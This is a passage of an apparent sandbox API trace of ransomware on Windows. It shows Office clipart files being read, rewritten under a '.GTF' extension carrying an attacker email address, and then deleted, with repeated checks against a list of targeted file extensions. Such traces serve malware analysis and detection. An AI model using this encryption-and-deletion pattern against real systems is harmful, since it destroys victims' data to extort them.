	[0164.798] GetLastError () returned 0x0
	[0164.798] ReadFile (in: hFile=0x554, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x13c2, lpOverlapped=0x0) returned 1
	[0164.799] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13d0, lpOverlapped=0x0) returned 1
	[0164.800] ReadFile (in: hFile=0x554, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.800] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.800] SetEndOfFile (hFile=0x54c) returned 1
	[0164.801] CloseHandle (hObject=0x54c) returned 1
	[0164.801] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.801] SetEndOfFile (hFile=0x554) returned 1
	[0164.803] CloseHandle (hObject=0x554) returned 1
	[0164.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1
	[0164.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.804] lstrlenW (lpString=".doc") returned 4
	[0164.804] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.804] lstrlenW (lpString=".docx") returned 5
	[0164.804] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0164.804] lstrlenW (lpString=".pdf") returned 4
	[0164.804] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.804] lstrlenW (lpString=".xls") returned 4
	[0164.804] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.804] lstrlenW (lpString=".xlsx") returned 5
	[0164.804] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0164.804] lstrlenW (lpString=".ppt") returned 4
	[0164.804] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.804] lstrlenW (lpString=".zip") returned 4
	[0164.804] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.804] lstrlenW (lpString=".rar") returned 4
	[0164.804] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.804] lstrlenW (lpString=".bz2") returned 4
	[0164.805] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.805] lstrlenW (lpString=".7z") returned 3
	[0164.805] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.805] lstrlenW (lpString=".dbf") returned 4
	[0164.805] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.805] lstrlenW (lpString=".1cd") returned 4
	[0164.805] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.805] lstrlenW (lpString=".jpg") returned 4
	[0164.805] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.805] lstrlenW (lpString=".doc") returned 4
	[0164.805] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.805] lstrlenW (lpString=".docx") returned 5
	[0164.805] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0164.805] lstrlenW (lpString=".pdf") returned 4
	[0164.805] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.805] lstrlenW (lpString=".xls") returned 4
	[0164.805] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.805] lstrlenW (lpString=".xlsx") returned 5
	[0164.805] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0164.805] lstrlenW (lpString=".ppt") returned 4
	[0164.805] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.805] lstrlenW (lpString=".zip") returned 4
	[0164.805] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.805] lstrlenW (lpString=".rar") returned 4
	[0164.805] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.805] lstrlenW (lpString=".bz2") returned 4
	[0164.805] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.805] lstrlenW (lpString=".7z") returned 3
	[0164.806] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.806] lstrlenW (lpString=".dbf") returned 4
	[0164.806] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.806] lstrlenW (lpString=".1cd") returned 4
	[0164.806] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0164.806] lstrlenW (lpString=".jpg") returned 4
	[0164.806] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.806] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.806] lstrlenW (lpString="SHOW_01.MID") returned 11
	[0164.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.806] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6392) returned 1
	[0164.807] CloseHandle (hObject=0x554) returned 1
	[0164.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220
	[0164.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.807] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.807] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0164.808] GetLastError () returned 0x0
	[0164.808] ReadFile (in: hFile=0x554, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x18f8, lpOverlapped=0x0) returned 1
	[0164.852] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1900, lpOverlapped=0x0) returned 1
	[0164.853] ReadFile (in: hFile=0x554, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.853] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xea, lpOverlapped=0x0) returned 1
	[0164.853] SetEndOfFile (hFile=0x54c) returned 1
	[0164.853] CloseHandle (hObject=0x54c) returned 1
	[0164.853] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.853] SetEndOfFile (hFile=0x554) returned 1
	[0164.856] CloseHandle (hObject=0x554) returned 1
	[0164.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1
	[0165.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.024] lstrlenW (lpString=".doc") returned 4
	[0165.025] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.025] lstrlenW (lpString=".docx") returned 5
	[0165.025] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.025] lstrlenW (lpString=".pdf") returned 4
	[0165.025] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.025] lstrlenW (lpString=".xls") returned 4
	[0165.025] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.025] lstrlenW (lpString=".xlsx") returned 5
	[0165.025] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.025] lstrlenW (lpString=".ppt") returned 4
	[0165.025] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.025] lstrlenW (lpString=".zip") returned 4
	[0165.025] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.025] lstrlenW (lpString=".rar") returned 4
	[0165.025] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.025] lstrlenW (lpString=".bz2") returned 4
	[0165.025] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.025] lstrlenW (lpString=".7z") returned 3
	[0165.025] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.025] lstrlenW (lpString=".dbf") returned 4
	[0165.025] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.025] lstrlenW (lpString=".1cd") returned 4
	[0165.025] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.025] lstrlenW (lpString=".jpg") returned 4
	[0165.025] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.025] lstrlenW (lpString=".doc") returned 4
	[0165.025] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.026] lstrlenW (lpString=".docx") returned 5
	[0165.026] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.026] lstrlenW (lpString=".pdf") returned 4
	[0165.026] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.026] lstrlenW (lpString=".xls") returned 4
	[0165.026] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.026] lstrlenW (lpString=".xlsx") returned 5
	[0165.026] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.026] lstrlenW (lpString=".ppt") returned 4
	[0165.026] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.026] lstrlenW (lpString=".zip") returned 4
	[0165.026] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.026] lstrlenW (lpString=".rar") returned 4
	[0165.026] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.026] lstrlenW (lpString=".bz2") returned 4
	[0165.026] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.026] lstrlenW (lpString=".7z") returned 3
	[0165.026] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.026] lstrlenW (lpString=".dbf") returned 4
	[0165.026] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.026] lstrlenW (lpString=".1cd") returned 4
	[0165.026] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67
	[0165.026] lstrlenW (lpString=".jpg") returned 4
	[0165.026] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.026] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0165.026] lstrlenW (lpString="SUMER_01.MID") returned 12
	[0165.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.028] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=14044) returned 1
	[0165.028] CloseHandle (hObject=0x42c) returned 1
	[0165.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220
	[0165.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.028] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.028] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0165.029] GetLastError () returned 0x0
	[0165.029] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x36dc, lpOverlapped=0x0) returned 1
	[0165.031] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x36e0, lpOverlapped=0x0) returned 1
	[0165.032] ReadFile (in: hFile=0x42c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.032] WriteFile (in: hFile=0x48c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.032] SetEndOfFile (hFile=0x48c) returned 1
	[0165.032] CloseHandle (hObject=0x48c) returned 1
	[0165.032] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.032] SetEndOfFile (hFile=0x42c) returned 1
	[0165.036] CloseHandle (hObject=0x42c) returned 1
	[0165.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0165.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1
	[0165.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.037] lstrlenW (lpString=".doc") returned 4
	[0165.037] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.037] lstrlenW (lpString=".docx") returned 5
	[0165.037] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.037] lstrlenW (lpString=".pdf") returned 4
	[0165.037] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.037] lstrlenW (lpString=".xls") returned 4
	[0165.037] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.037] lstrlenW (lpString=".xlsx") returned 5
	[0165.037] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.037] lstrlenW (lpString=".ppt") returned 4
	[0165.037] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.037] lstrlenW (lpString=".zip") returned 4
	[0165.037] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.037] lstrlenW (lpString=".rar") returned 4
	[0165.037] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.037] lstrlenW (lpString=".bz2") returned 4
	[0165.037] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.037] lstrlenW (lpString=".7z") returned 3
	[0165.037] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.037] lstrlenW (lpString=".dbf") returned 4
	[0165.037] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.037] lstrlenW (lpString=".1cd") returned 4
	[0165.037] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.038] lstrlenW (lpString=".jpg") returned 4
	[0165.038] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.038] lstrlenW (lpString=".doc") returned 4
	[0165.038] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.038] lstrlenW (lpString=".docx") returned 5
	[0165.038] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0165.038] lstrlenW (lpString=".pdf") returned 4
	[0165.038] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.038] lstrlenW (lpString=".xls") returned 4
	[0165.038] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.038] lstrlenW (lpString=".xlsx") returned 5
	[0165.038] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0165.038] lstrlenW (lpString=".ppt") returned 4
	[0165.038] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.038] lstrlenW (lpString=".zip") returned 4
	[0165.038] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.038] lstrlenW (lpString=".rar") returned 4
	[0165.038] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.038] lstrlenW (lpString=".bz2") returned 4
	[0165.038] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.038] lstrlenW (lpString=".7z") returned 3
	[0165.038] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.038] lstrlenW (lpString=".dbf") returned 4
	[0165.038] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.038] lstrlenW (lpString=".1cd") returned 4
	[0165.038] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0165.039] lstrlenW (lpString=".jpg") returned 4
	[0165.039] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.039] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0165.039] lstrlenW (lpString="SWEST_01.MID") returned 12
	[0165.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.040] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=8501) returned 1
	[0165.040] CloseHandle (hObject=0x42c) returned 1
	[0165.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220
	[0165.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0165.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0165.040] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.041] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
